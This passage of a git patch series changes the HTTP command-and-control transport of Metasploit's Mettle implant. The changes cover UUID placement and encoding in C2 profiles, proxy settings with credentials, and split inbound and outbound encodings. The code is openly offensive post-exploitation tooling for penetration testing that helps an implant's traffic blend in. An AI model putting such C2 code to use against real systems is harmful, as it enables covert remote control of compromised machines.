*cert_hash; size_t cert_hash_len; + char *c2_uuid; struct c2_verb_config *c2_get; struct c2_verb_config *c2_post; }; diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index af3e7a48..62aebda1 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -130,6 +130,20 @@ static char *get_uuid_from_uri(const char *uri) return uuid; } +/* + * Resolve the per-transport UUID used for C2 profile placement. Prefers the + * value supplied via TLV_TYPE_C2_UUID; falls back to the URL path's last + * segment when unset. Returned string is malloc'd; caller frees. + */ +static char *get_transport_uuid(struct http_ctx *ctx) +{ + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + if (tc && tc->c2_uuid && *tc->c2_uuid) { + return strdup(tc->c2_uuid); + } + return get_uuid_from_uri(ctx->uri); +} + static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *uuid) { if (!vc || !vc->uri) { @@ -172,27 +186,53 @@ static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) { struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, q); if (request) { - uint32_t command_id; + uint32_t command_id = 0; tlv_packet_get_u32(request, TLV_TYPE_COMMAND_ID, &command_id); - const char *new_uri = tlv_packet_get_str(request, TLV_TYPE_TRANS_URL); - - if (command_id == COMMAND_ID_CORE_PATCH_URL && new_uri) { - char *old_uri = ctx->uri; - char *split = ctx->uri; - char *host = strstr(old_uri, "://"); - if (host) { - split = strchr(host + 3, '/'); - } else { - split = strrchr(old_uri, '/'); - } - if (split) { - *split = '\0'; + if (command_id == COMMAND_ID_CORE_PATCH_URL) { + /* + * Two encodings supported: + * - TLV_TYPE_C2_UUID (newer): bare UUID string; replace the + * last path segment and update tc->c2_uuid so subsequent + * profile placement (uuid_get/header/cookie) picks it up. + * - TLV_TYPE_TRANS_URL (legacy): the full URI suffix. + */ + const char *new_uuid = tlv_packet_get_str(request, TLV_TYPE_C2_UUID); + const char *new_uri = tlv_packet_get_str(request, TLV_TYPE_TRANS_URL); + + char *replacement = NULL; + if (new_uuid) { + if (asprintf(&replacement, "/%s", new_uuid) < 0) { + replacement = NULL; + } + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + if (tc) { + free(tc->c2_uuid); + tc->c2_uuid = strdup(new_uuid); + } + } else if (new_uri) { + replacement = strdup(new_uri); } - if (asprintf(&ctx->uri, "%s%s", ctx->uri, new_uri) > 0) { - free(old_uri); + + if (replacement) { + char *old_uri = ctx->uri; + char *split = ctx->uri; + char *host = strstr(old_uri, "://"); + if (host) { + split = strchr(host + 3, '/'); + } else { + split = strrchr(old_uri, '/'); + } + if (split) { + *split = '\0'; + } + if (asprintf(&ctx->uri, "%s%s", ctx->uri, replacement) > 0) { + free(old_uri); + } + free(replacement); } } + tlv_packet_free(request); } else { /** @@ -345,7 +385,7 @@ static void add_profile_headers(struct http_ctx *ctx, struct c2_verb_config *vc) { if (!vc) return; - char *uuid = get_uuid_from_uri(ctx->uri); + char *uuid = get_transport_uuid(ctx); if (!uuid) return; if (vc->uuid_header) { @@ -386,7 +426,7 @@ static void http_poll_timer_cb(struct ev_loop *loop, struct ev_timer *w, int rev ctx->data.content_len = encoded_len; } - char *uuid = get_uuid_from_uri(ctx->uri); + char *uuid = get_transport_uuid(ctx); char *post_url = build_profile_url(ctx->uri, post_profile, uuid); free(uuid); add_profile_headers(ctx, post_profile); @@ -400,7 +440,7 @@ static void http_poll_timer_cb(struct ev_loop *loop, struct ev_timer *w, int rev } if (!sent) { - char *uuid = get_uuid_from_uri(ctx->uri); + char *uuid = get_transport_uuid(ctx); char *get_url = build_profile_url(ctx->uri, get_profile, uuid); free(uuid); add_profile_headers(ctx, get_profile); @@ -425,6 +465,9 @@ static void http_ctx_free(struct http_ctx *ctx) free(ctx->data.ua); free(ctx->data.referer); free(ctx->data.cookie_list); + free((void *)ctx->opts.proxy.hostname); + free((void *)ctx->opts.proxy.auth_user); + free((void *)ctx->opts.proxy.auth_pass); free(ctx); } } @@ -442,6 +485,57 @@ static int add_header(struct http_ctx *ctx, const char *header) return -1; } +/* + * Parse a proxy URL of the form "scheme://host:port" or "socks=host:port" + * (the latter being the framework's SOCKS encoding) and populate the + * transport's http_request_opts.proxy fields. Adds basic auth credentials + * when configured. + */ +static void apply_proxy_config(struct http_ctx *ctx, struct c2_transport_config *tc) +{ + const char *url = tc->proxy_url; + enum http_proxy_type type = http_proxy_http; + const char *host_start; + + if (strncmp(url, "socks=", 6) == 0) { + type = http_proxy_socks5; + host_start = url + 6; + } else if (strncmp(url, "socks://", 8) == 0) { + type = http_proxy_socks5; + host_start = url + 8; + } else if (strncmp(url, "http://", 7) == 0) { + host_start = url + 7; + } else if (strncmp(url, "https://", 8) == 0) { + host_start = url + 8; + } else { + host_start = url; + } + + const char *colon = strrchr(host_start, ':'); + if (!colon) { + return; + } + size_t host_len = colon - host_start; + char *host = malloc(host_len + 1); + if (!host) { + return; + } + memcpy(host, host_start, host_len); + host[host_len] = '\0'; + + ctx->opts.proxy.type = type; + ctx->opts.proxy.hostname = host; + ctx->opts.proxy.port = (uint16_t)atoi(colon + 1); + + if (tc->proxy_user && *tc->proxy_user) { + ctx->opts.proxy.auth_type = http_auth_basic; + ctx->opts.proxy.auth_user = strdup(tc->proxy_user); + if (tc->proxy_pass) { + ctx->opts.proxy.auth_pass = strdup(tc->proxy_pass); + } + } +} + int http_transport_init(struct c2_transport *t) { struct http_ctx *ctx = calloc(1, sizeof *ctx); @@ -478,6 +572,9 @@ int http_transport_init(struct c2_transport *t) } free(hdrs); } + if (tc->proxy_url && *tc->proxy_url) { + apply_proxy_config(ctx, tc); + } } /* Legacy: parse args after | in URI */ diff --git a/mettle/src/main.c b/mettle/src/main.c index 67112756..e524956e 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -400,10 +400,16 @@ static int parse_config_block(struct mettle *m) const char *s; s = tlv_packet_get_str(group, TLV_TYPE_C2_PROXY_URL); if (s) tc->proxy_url = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_PROXY_USER); + if (s) tc->proxy_user = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_PROXY_PASS); + if (s) tc->proxy_pass = strdup(s); s = tlv_packet_get_str(group, TLV_TYPE_C2_UA); if (s) tc->user_agent = strdup(s); s = tlv_packet_get_str(group, TLV_TYPE_C2_HEADERS); if (s) tc->custom_headers = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_UUID); + if (s) tc->c2_uuid = strdup(s); size_t hash_len = 0; void *hash = tlv_packet_get_raw(group, TLV_TYPE_C2_CERT_HASH, &hash_len); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index c7648c50..b0379da9 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -130,6 +130,7 @@ #define TLV_TYPE_C2_UUID_COOKIE (TLV_META_TYPE_STRING | 723) #define TLV_TYPE_C2_UUID_GET (TLV_META_TYPE_STRING | 724) #define TLV_TYPE_C2_UUID_HEADER (TLV_META_TYPE_STRING | 725) +#define TLV_TYPE_C2_UUID (TLV_META_TYPE_STRING | 726) #define C2_ENCODING_NONE 0 #define C2_ENCODING_B64 1 From 19d860db3de0c26c60f6adbdf87f9aaa685432b0 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 22:17:45 +1000 Subject: [PATCH 4/8] Avoid command line config block --- lib/metasploit_payloads/mettle.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/metasploit_payloads/mettle.rb b/lib/metasploit_payloads/mettle.rb index 17e2a79a..e02c3ca8 100644 --- a/lib/metasploit_payloads/mettle.rb +++ b/lib/metasploit_payloads/mettle.rb @@ -52,6 +52,10 @@ def to_binary(format=:process_image) def generate_argv cmd_line = 'mettle ' @config.each do |opt, val| + # :config_block is embedded into the binary via add_config_block (a + # TLV blob parsed natively); it is not a command-line option. + next if opt == :config_block + cmd_line << "-#{short_opt(opt)} \"#{val}\" " end if cmd_line.length > CMDLINE_MAX From 47a4aedc1d2fa803f67a498870f462c2a022a516 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 13:52:04 +1000 Subject: [PATCH 5/8] Add proper encoding and uri handling --- mettle/src/c2.h | 3 +- mettle/src/c2_http.c | 152 ++++++++++++++++++++++----------------- mettle/src/command_ids.h | 2 +- mettle/src/main.c | 3 +- mettle/src/tlv_types.h | 17 +---- 5 files changed, 94 insertions(+), 83 deletions(-) diff --git a/mettle/src/c2.h b/mettle/src/c2.h index aa4df619..0e734cdb 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -14,7 +14,8 @@ */ struct c2_verb_config { char *uri; - int enc; + int enc_inbound; + int enc_outbound; void *prefix; size_t prefix_len; void *suffix; diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index 62aebda1..cabba6ca 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -160,11 +160,21 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *profile_uri = vc->uri; int needs_slash = (profile_uri[0] != '/'); - /* Calculate max URL length */ + /* + * When the profile does not specify a placement for the UUID + * (no uuid_get/uuid_header/uuid_cookie), the handler still needs to + * locate the session via the request path — append the UUID to the + * URI path. Matches PHP/Python behaviour. + */ + bool uuid_in_path = uuid && !vc->uuid_get && !vc->uuid_header && !vc->uuid_cookie; + size_t url_len = base_len + 1 + strlen(profile_uri) + 1; if (uuid && vc->uuid_get) { url_len += 1 + strlen(vc->uuid_get) + 1 + strlen(uuid); } + if (uuid_in_path) { + url_len += 1 + strlen(uuid); + } char *url = malloc(url_len + 1); if (!url) return NULL; @@ -174,6 +184,12 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, needs_slash ? "/" : "", profile_uri); + if (uuid_in_path) { + bool need_sep = written > 0 && url[written - 1] != '/'; + written += snprintf(url + written, url_len + 1 - written, "%s%s", + need_sep ? "/" : "", uuid); + } + if (uuid && vc->uuid_get) { char sep = strchr(url, '?') ? '&' : '?'; snprintf(url + written, url_len + 1 - written, "%c%s=%s", sep, vc->uuid_get, uuid); @@ -182,86 +198,70 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, return url; } -static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) +static void *decode_response_with_profile(struct buffer_queue *response_q, + struct c2_verb_config *vc, size_t *out_len); + +static void patch_uuid(struct http_ctx *ctx, struct buffer_queue *q) { - struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, q); + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + struct c2_verb_config *get_profile = tc ? tc->c2_get : NULL; + + /* + * The framework wraps the patch-uuid response via the GET profile's + * outbound transform (prefix/suffix + encoding). Decode through the + * same profile before parsing the TLV. + */ + size_t decoded_len = 0; + void *decoded = decode_response_with_profile(q, get_profile, &decoded_len); + if (!decoded) { + return; + } + + struct buffer_queue *decoded_q = buffer_queue_new(); + if (!decoded_q) { + free(decoded); + return; + } + buffer_queue_add(decoded_q, decoded, decoded_len); + free(decoded); + + struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, decoded_q); + buffer_queue_free(decoded_q); if (request) { uint32_t command_id = 0; tlv_packet_get_u32(request, TLV_TYPE_COMMAND_ID, &command_id); - if (command_id == COMMAND_ID_CORE_PATCH_URL) { - /* - * Two encodings supported: - * - TLV_TYPE_C2_UUID (newer): bare UUID string; replace the - * last path segment and update tc->c2_uuid so subsequent - * profile placement (uuid_get/header/cookie) picks it up. - * - TLV_TYPE_TRANS_URL (legacy): the full URI suffix. - */ + if (command_id == COMMAND_ID_CORE_PATCH_UUID) { const char *new_uuid = tlv_packet_get_str(request, TLV_TYPE_C2_UUID); - const char *new_uri = tlv_packet_get_str(request, TLV_TYPE_TRANS_URL); - - char *replacement = NULL; - if (new_uuid) { - if (asprintf(&replacement, "/%s", new_uuid) < 0) { - replacement = NULL; - } - struct c2_transport_config *tc = c2_transport_get_config(ctx->t); - if (tc) { - free(tc->c2_uuid); - tc->c2_uuid = strdup(new_uuid); - } - } else if (new_uri) { - replacement = strdup(new_uri); - } - - if (replacement) { - char *old_uri = ctx->uri; - char *split = ctx->uri; - char *host = strstr(old_uri, "://"); - if (host) { - split = strchr(host + 3, '/'); - } else { - split = strrchr(old_uri, '/'); - } - if (split) { - *split = '\0'; - } - if (asprintf(&ctx->uri, "%s%s", ctx->uri, replacement) > 0) { - free(old_uri); - } - free(replacement); + if (new_uuid && tc) { + free(tc->c2_uuid); + tc->c2_uuid = strdup(new_uuid); } } tlv_packet_free(request); } - else { - /** - * put packet in ingress? also consider making `core_patch_url` actually core - * and expect the transport or get changed on patch request - **/ - } } /* - * Process a response with C2 profile decoding (prefix/suffix stripping + encoding) + * Drain a response queue and apply the inbound C2 profile transform + * (prefix/suffix skip + encoding). Returns a malloc'd buffer the caller + * must free, or NULL on empty/error. *out_len is set on success. */ -static void process_response_with_profile(struct http_ctx *ctx, - struct buffer_queue *response_q, struct c2_verb_config *vc) +static void *decode_response_with_profile(struct buffer_queue *response_q, + struct c2_verb_config *vc, size_t *out_len) { - if (!vc) { - /* No profile — pass raw data through */ - c2_transport_ingress_queue(ctx->t, response_q); - return; - } - void *raw = NULL; ssize_t raw_len = buffer_queue_remove_all(response_q, &raw); if (!raw || raw_len <= 0) { free(raw); - return; + return NULL; + } + + if (!vc) { + *out_len = (size_t)raw_len; + return raw; } - /* Strip prefix/suffix bytes */ int start = vc->prefix_skip; int end = raw_len - vc->suffix_skip; if (start >= end || start < 0 || end > (int)raw_len) { @@ -270,15 +270,35 @@ static void process_response_with_profile(struct http_ctx *ctx, } size_t stripped_len = end - start; - /* Decode */ size_t decoded_len = 0; - void *decoded = c2_decode((char *)raw + start, stripped_len, vc->enc, &decoded_len); + void *decoded = c2_decode((char *)raw + start, stripped_len, vc->enc_inbound, &decoded_len); free(raw); + if (!decoded || decoded_len == 0) { + free(decoded); + return NULL; + } + *out_len = decoded_len; + return decoded; +} - if (decoded && decoded_len > 0) { +/* + * Process a response with C2 profile decoding (prefix/suffix stripping + encoding) + */ +static void process_response_with_profile(struct http_ctx *ctx, + struct buffer_queue *response_q, struct c2_verb_config *vc) +{ + if (!vc) { + /* No profile — pass raw data through */ + c2_transport_ingress_queue(ctx->t, response_q); + return; + } + + size_t decoded_len = 0; + void *decoded = decode_response_with_profile(response_q, vc, &decoded_len); + if (decoded) { c2_transport_ingress_buf(ctx->t, decoded, decoded_len); + free(decoded); } - free(decoded); } /* @@ -293,7 +313,7 @@ static void *encode_egress_with_profile(void *data, size_t data_len, } size_t encoded_len = 0; - void *encoded = c2_encode(data, data_len, vc->enc, &encoded_len); + void *encoded = c2_encode(data, data_len, vc->enc_outbound, &encoded_len); free(data); if (!encoded) return NULL; @@ -347,7 +367,7 @@ static void http_poll_cb(struct http_conn *conn, void *arg) if (code == 200) { struct buffer_queue *q = http_conn_response_queue(conn); if (ctx->first_packet) { - patch_uri(ctx, q); + patch_uuid(ctx, q); ctx->first_packet = 0; got_command = true; } else { diff --git a/mettle/src/command_ids.h b/mettle/src/command_ids.h index 1ab8f8de..e4ae85b0 100644 --- a/mettle/src/command_ids.h +++ b/mettle/src/command_ids.h @@ -38,7 +38,7 @@ #define COMMAND_ID_CORE_MIGRATE 14 #define COMMAND_ID_CORE_NATIVE_ARCH 15 #define COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION 16 -#define COMMAND_ID_CORE_PATCH_URL 17 +#define COMMAND_ID_CORE_PATCH_UUID 17 #define COMMAND_ID_CORE_PIVOT_ADD 18 #define COMMAND_ID_CORE_PIVOT_REMOVE 19 #define COMMAND_ID_CORE_PIVOT_SESSION_DIED 20 diff --git a/mettle/src/main.c b/mettle/src/main.c index e524956e..3c42e65e 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -273,7 +273,8 @@ static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uin s = tlv_packet_get_str(vp, TLV_TYPE_C2_URI); if (s) vc->uri = strdup(s); - tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC, (uint32_t *)&vc->enc); + tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_INBOUND, (uint32_t *)&vc->enc_inbound); + tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_OUTBOUND, (uint32_t *)&vc->enc_outbound); tlv_packet_get_u32(vp, TLV_TYPE_C2_PREFIX_SKIP, (uint32_t *)&vc->prefix_skip); tlv_packet_get_u32(vp, TLV_TYPE_C2_SUFFIX_SKIP, (uint32_t *)&vc->suffix_skip); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index b0379da9..65a06867 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -79,19 +79,6 @@ #define TLV_TYPE_MIGRATE_PID (TLV_META_TYPE_UINT | 402) #define TLV_TYPE_MIGRATE_LEN (TLV_META_TYPE_UINT | 403) -#define TLV_TYPE_TRANS_TYPE (TLV_META_TYPE_UINT | 430) -#define TLV_TYPE_TRANS_URL (TLV_META_TYPE_STRING | 431) -#define TLV_TYPE_TRANS_UA (TLV_META_TYPE_STRING | 432) -#define TLV_TYPE_TRANS_COMM_TIMEOUT (TLV_META_TYPE_UINT | 433) -#define TLV_TYPE_TRANS_SESSION_EXP (TLV_META_TYPE_UINT | 434) -#define TLV_TYPE_TRANS_CERT_HASH (TLV_META_TYPE_RAW | 435) -#define TLV_TYPE_TRANS_PROXY_HOST (TLV_META_TYPE_STRING | 436) -#define TLV_TYPE_TRANS_PROXY_USER (TLV_META_TYPE_STRING | 437) -#define TLV_TYPE_TRANS_PROXY_PASS (TLV_META_TYPE_STRING | 438) -#define TLV_TYPE_TRANS_RETRY_TOTAL (TLV_META_TYPE_UINT | 439) -#define TLV_TYPE_TRANS_RETRY_WAIT (TLV_META_TYPE_UINT | 440) -#define TLV_TYPE_TRANS_GROUP (TLV_META_TYPE_GROUP | 441) - #define TLV_TYPE_MACHINE_ID (TLV_META_TYPE_STRING | 460) #define TLV_TYPE_UUID (TLV_META_TYPE_RAW | 461) #define TLV_TYPE_SESSION_GUID (TLV_META_TYPE_RAW | 462) @@ -124,7 +111,9 @@ #define TLV_TYPE_C2_CERT_HASH (TLV_META_TYPE_RAW | 717) #define TLV_TYPE_C2_PREFIX (TLV_META_TYPE_RAW | 718) #define TLV_TYPE_C2_SUFFIX (TLV_META_TYPE_RAW | 719) -#define TLV_TYPE_C2_ENC (TLV_META_TYPE_UINT | 720) +#define TLV_TYPE_C2_ENC_INBOUND (TLV_META_TYPE_UINT | 720) +#define TLV_TYPE_SESSION_FLAGS (TLV_META_TYPE_UINT | 727) +#define TLV_TYPE_C2_ENC_OUTBOUND (TLV_META_TYPE_UINT | 728) #define TLV_TYPE_C2_PREFIX_SKIP (TLV_META_TYPE_UINT | 721) #define TLV_TYPE_C2_SUFFIX_SKIP (TLV_META_TYPE_UINT | 722) #define TLV_TYPE_C2_UUID_COOKIE (TLV_META_TYPE_STRING | 723) From e7c77fd408cd17885feb7e72c235a15fba30d102 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 15:03:27 +1000 Subject: [PATCH 6/8] Correctly encode UUIDs --- mettle/src/c2.c | 2 ++ mettle/src/c2.h | 5 ++++ mettle/src/c2_http.c | 65 +++++++++++++++++++++++++++++++++++------- mettle/src/main.c | 17 +++++++++++ mettle/src/tlv_types.h | 3 ++ 5 files changed, 81 insertions(+), 11 deletions(-) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index ccb71d86..8690a903 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -166,6 +166,8 @@ void c2_verb_config_free(struct c2_verb_config *vc) free(vc->uri); free(vc->prefix); free(vc->suffix); + free(vc->uuid_prefix); + free(vc->uuid_suffix); free(vc->uuid_get); free(vc->uuid_header); free(vc->uuid_cookie); diff --git a/mettle/src/c2.h b/mettle/src/c2.h index 0e734cdb..e03c6199 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -16,10 +16,15 @@ struct c2_verb_config { char *uri; int enc_inbound; int enc_outbound; + int enc_uuid; void *prefix; size_t prefix_len; void *suffix; size_t suffix_len; + void *uuid_prefix; + size_t uuid_prefix_len; + void *uuid_suffix; + size_t uuid_suffix_len; int prefix_skip; int suffix_skip; char *uuid_get; diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index cabba6ca..e7f23d2a 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -144,6 +144,42 @@ static char *get_transport_uuid(struct http_ctx *ctx) return get_uuid_from_uri(ctx->uri); } +/* + * Apply the profile's UUID transform (encode + prepend + append) to the + * raw UUID before placement. Returns a malloc'd null-terminated string + * the caller must free, or NULL on failure / empty input. + * If vc is NULL, returns a plain strdup(uuid). + */ +static char *render_uuid(struct c2_verb_config *vc, const char *uuid) +{ + if (!uuid || !*uuid) return NULL; + if (!vc) return strdup(uuid); + + size_t uuid_len = strlen(uuid); + size_t encoded_len = 0; + void *encoded = c2_encode(uuid, uuid_len, vc->enc_uuid, &encoded_len); + if (!encoded) return NULL; + + size_t total = vc->uuid_prefix_len + encoded_len + vc->uuid_suffix_len; + char *out = malloc(total + 1); + if (!out) { free(encoded); return NULL; } + + char *p = out; + if (vc->uuid_prefix_len > 0) { + memcpy(p, vc->uuid_prefix, vc->uuid_prefix_len); + p += vc->uuid_prefix_len; + } + memcpy(p, encoded, encoded_len); + p += encoded_len; + if (vc->uuid_suffix_len > 0) { + memcpy(p, vc->uuid_suffix, vc->uuid_suffix_len); + p += vc->uuid_suffix_len; + } + *p = '\0'; + free(encoded); + return out; +} + static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *uuid) { if (!vc || !vc->uri) { @@ -160,24 +196,26 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *profile_uri = vc->uri; int needs_slash = (profile_uri[0] != '/'); + char *rendered = render_uuid(vc, uuid); + /* * When the profile does not specify a placement for the UUID * (no uuid_get/uuid_header/uuid_cookie), the handler still needs to * locate the session via the request path — append the UUID to the * URI path. Matches PHP/Python behaviour. */ - bool uuid_in_path = uuid && !vc->uuid_get && !vc->uuid_header && !vc->uuid_cookie; + bool uuid_in_path = rendered && !vc->uuid_get && !vc->uuid_header && !vc->uuid_cookie; size_t url_len = base_len + 1 + strlen(profile_uri) + 1; - if (uuid && vc->uuid_get) { - url_len += 1 + strlen(vc->uuid_get) + 1 + strlen(uuid); + if (rendered && vc->uuid_get) { + url_len += 1 + strlen(vc->uuid_get) + 1 + strlen(rendered); } if (uuid_in_path) { - url_len += 1 + strlen(uuid); + url_len += 1 + strlen(rendered); } char *url = malloc(url_len + 1); - if (!url) return NULL; + if (!url) { free(rendered); return NULL; } int written = snprintf(url, url_len + 1, "%.*s%s%s", (int)base_len, base_uri, @@ -187,14 +225,15 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, if (uuid_in_path) { bool need_sep = written > 0 && url[written - 1] != '/'; written += snprintf(url + written, url_len + 1 - written, "%s%s", - need_sep ? "/" : "", uuid); + need_sep ? "/" : "", rendered); } - if (uuid && vc->uuid_get) { + if (rendered && vc->uuid_get) { char sep = strchr(url, '?') ? '&' : '?'; - snprintf(url + written, url_len + 1 - written, "%c%s=%s", sep, vc->uuid_get, uuid); + snprintf(url + written, url_len + 1 - written, "%c%s=%s", sep, vc->uuid_get, rendered); } + free(rendered); return url; } @@ -408,21 +447,25 @@ static void add_profile_headers(struct http_ctx *ctx, struct c2_verb_config *vc) char *uuid = get_transport_uuid(ctx); if (!uuid) return; + char *rendered = render_uuid(vc, uuid); + free(uuid); + if (!rendered) return; + if (vc->uuid_header) { char *hdr = NULL; - if (asprintf(&hdr, "%s: %s", vc->uuid_header, uuid) != -1) { + if (asprintf(&hdr, "%s: %s", vc->uuid_header, rendered) != -1) { add_header(ctx, hdr); free(hdr); } } if (vc->uuid_cookie) { char *cookie = NULL; - if (asprintf(&cookie, "%s=%s", vc->uuid_cookie, uuid) != -1) { + if (asprintf(&cookie, "%s=%s", vc->uuid_cookie, rendered) != -1) { free(ctx->data.cookie_list); ctx->data.cookie_list = cookie; } } - free(uuid); + free(rendered); } static void http_poll_timer_cb(struct ev_loop *loop, struct ev_timer *w, int revents) diff --git a/mettle/src/main.c b/mettle/src/main.c index 3c42e65e..b3fa9d93 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -275,6 +275,7 @@ static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uin tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_INBOUND, (uint32_t *)&vc->enc_inbound); tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_OUTBOUND, (uint32_t *)&vc->enc_outbound); + tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_UUID, (uint32_t *)&vc->enc_uuid); tlv_packet_get_u32(vp, TLV_TYPE_C2_PREFIX_SKIP, (uint32_t *)&vc->prefix_skip); tlv_packet_get_u32(vp, TLV_TYPE_C2_SUFFIX_SKIP, (uint32_t *)&vc->suffix_skip); @@ -296,6 +297,22 @@ static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uin vc->suffix_len = len; } } + raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_UUID_PREFIX, &len); + if (raw && len > 0) { + vc->uuid_prefix = malloc(len); + if (vc->uuid_prefix) { + memcpy(vc->uuid_prefix, raw, len); + vc->uuid_prefix_len = len; + } + } + raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_UUID_SUFFIX, &len); + if (raw && len > 0) { + vc->uuid_suffix = malloc(len); + if (vc->uuid_suffix) { + memcpy(vc->uuid_suffix, raw, len); + vc->uuid_suffix_len = len; + } + } s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_GET); if (s) vc->uuid_get = strdup(s); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index 65a06867..6284e1ce 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -114,6 +114,9 @@ #define TLV_TYPE_C2_ENC_INBOUND (TLV_META_TYPE_UINT | 720) #define TLV_TYPE_SESSION_FLAGS (TLV_META_TYPE_UINT | 727) #define TLV_TYPE_C2_ENC_OUTBOUND (TLV_META_TYPE_UINT | 728) +#define TLV_TYPE_C2_ENC_UUID (TLV_META_TYPE_UINT | 729) +#define TLV_TYPE_C2_UUID_PREFIX (TLV_META_TYPE_RAW | 730) +#define TLV_TYPE_C2_UUID_SUFFIX (TLV_META_TYPE_RAW | 731) #define TLV_TYPE_C2_PREFIX_SKIP (TLV_META_TYPE_UINT | 721) #define TLV_TYPE_C2_SUFFIX_SKIP (TLV_META_TYPE_UINT | 722) #define TLV_TYPE_C2_UUID_COOKIE (TLV_META_TYPE_STRING | 723) From 71b1f0381db80399d8314d008cd58d6a725b1745 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 15:30:54 +1000 Subject: [PATCH 7/8] Move to STRING instead of RAW for UUID prefix/suffix --- mettle/src/c2.h | 6 ++---- mettle/src/c2_http.c | 16 +++++++++------- mettle/src/main.c | 20 ++++---------------- mettle/src/tlv_types.h | 4 ++-- 4 files changed, 17 insertions(+), 29 deletions(-) diff --git a/mettle/src/c2.h b/mettle/src/c2.h index e03c6199..05eac6f6 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -21,10 +21,8 @@ struct c2_verb_config { size_t prefix_len; void *suffix; size_t suffix_len; - void *uuid_prefix; - size_t uuid_prefix_len; - void *uuid_suffix; - size_t uuid_suffix_len; + char *uuid_prefix; + char *uuid_suffix; int prefix_skip; int suffix_skip; char *uuid_get; diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index e7f23d2a..3c65a699 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -160,20 +160,22 @@ static char *render_uuid(struct c2_verb_config *vc, const char *uuid) void *encoded = c2_encode(uuid, uuid_len, vc->enc_uuid, &encoded_len); if (!encoded) return NULL; - size_t total = vc->uuid_prefix_len + encoded_len + vc->uuid_suffix_len; + size_t prefix_len = vc->uuid_prefix ? strlen(vc->uuid_prefix) : 0; + size_t suffix_len = vc->uuid_suffix ? strlen(vc->uuid_suffix) : 0; + size_t total = prefix_len + encoded_len + suffix_len; char *out = malloc(total + 1); if (!out) { free(encoded); return NULL; } char *p = out; - if (vc->uuid_prefix_len > 0) { - memcpy(p, vc->uuid_prefix, vc->uuid_prefix_len); - p += vc->uuid_prefix_len; + if (prefix_len > 0) { + memcpy(p, vc->uuid_prefix, prefix_len); + p += prefix_len; } memcpy(p, encoded, encoded_len); p += encoded_len; - if (vc->uuid_suffix_len > 0) { - memcpy(p, vc->uuid_suffix, vc->uuid_suffix_len); - p += vc->uuid_suffix_len; + if (suffix_len > 0) { + memcpy(p, vc->uuid_suffix, suffix_len); + p += suffix_len; } *p = '\0'; free(encoded); diff --git a/mettle/src/main.c b/mettle/src/main.c index b3fa9d93..eb0249ce 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -297,22 +297,10 @@ static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uin vc->suffix_len = len; } } - raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_UUID_PREFIX, &len); - if (raw && len > 0) { - vc->uuid_prefix = malloc(len); - if (vc->uuid_prefix) { - memcpy(vc->uuid_prefix, raw, len); - vc->uuid_prefix_len = len; - } - } - raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_UUID_SUFFIX, &len); - if (raw && len > 0) { - vc->uuid_suffix = malloc(len); - if (vc->uuid_suffix) { - 